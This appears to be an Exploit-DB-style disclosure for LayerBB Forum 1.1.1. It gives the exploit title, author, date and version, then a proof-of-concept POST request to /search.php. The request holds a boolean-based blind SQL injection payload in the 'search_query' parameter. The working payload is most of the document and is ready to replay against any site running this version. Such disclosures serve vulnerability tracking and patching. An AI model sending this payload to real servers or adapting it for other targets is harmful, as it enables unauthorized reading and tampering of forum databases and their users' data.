LayerBB Forum 1.1.1 - 'search_query' SQL Injection

# Exploit Title: LayerBB Forum 1.1.1 - 'search_query' SQL Injection
# Exploit Author: Ihsan Sencan
# Dork: N/A
# Date: 2018-10-04
# Vendor Homepage: https://layerbb.com/
# Software Link: https://demo.layerbb.com/
# Version: 1.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# POST /search.php HTTP/1.1
# Host: Target

search_query=S' RLIKE (SELECT (CASE WHEN (111=111) THEN 0x73 ELSE 0x28 END)) AND 'X'='X&search_submit=Search